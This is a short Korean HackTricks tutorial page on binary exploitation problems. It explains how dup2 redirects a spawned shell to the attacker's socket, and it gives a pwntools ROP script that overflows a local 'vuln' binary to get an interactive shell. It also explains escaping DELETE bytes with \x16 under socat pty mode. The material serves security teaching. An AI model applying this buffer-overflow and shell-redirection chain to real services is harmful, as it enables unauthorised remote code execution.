일반적인 익스플로잇 문제
Reading time: 2 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
원격 익스플로잇에서의 FD
예를 들어 **system('/bin/sh')
**를 호출하는 익스플로잇을 원격 서버에 전송할 때, 이는 서버 프로세스에서 실행되며, /bin/sh
는 stdin(FD: 0
)에서 입력을 기대하고 stdout 및 stderr(FDs 1
및 2
)에 출력을 인쇄합니다. 따라서 공격자는 셸과 상호작용할 수 없습니다.
이를 해결하는 방법은 서버가 시작될 때 FD 번호 3
(리스닝용)을 생성하고, 그 다음에 당신의 연결이 **FD 번호 4
**에 있을 것이라고 가정하는 것입니다. 따라서 syscall **dup2
**를 사용하여 stdin(FD 0)과 stdout(FD 1)을 FD 4(공격자의 연결)로 복제하는 것이 가능하므로, 셸이 실행되면 연락할 수 있게 됩니다.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
socat은 이미 **stdin
**과 **stdout
**을 소켓으로 전송한다는 점에 유의하세요. 그러나 pty
모드는 DELETE 문자를 포함합니다. 따라서 \x7f
( DELETE
-)를 보내면 당신의 익스플로잇의 이전 문자를 삭제합니다.
이를 우회하기 위해서는 전송되는 모든 \x7f
앞에 이스케이프 문자 \x16
을 추가해야 합니다.
여기에서 이 동작의 예제를 찾을 수 있습니다.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.